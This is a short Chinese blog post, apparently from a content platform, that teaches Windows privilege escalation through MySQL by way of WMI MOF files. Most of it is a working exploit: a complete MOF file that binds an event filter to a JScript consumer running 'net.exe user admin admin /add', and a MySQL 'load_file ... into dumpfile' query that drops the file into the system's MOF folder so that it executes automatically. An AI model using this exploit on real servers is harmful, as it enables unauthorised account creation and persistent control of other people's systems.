【提权】MySQL提权之MOF

0x01 前言

Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:

  • 将MOF文件执行为命令行参数及Mofcomp.exe文件
  • 使用IMofCompiler借口和$CompileFile方法
  • 拖放到%SystemRoot%\System32\Wbem\MOF文件夹下的MOF文件中

使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。

0x02 漏洞利用方法

  1. 将一下代码保存为nullevt.mof文件
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};
  1. 通过MySQL查询将文件导入
select load_file('c:\\recycler\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

导入后,系统会自动运行该文件。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容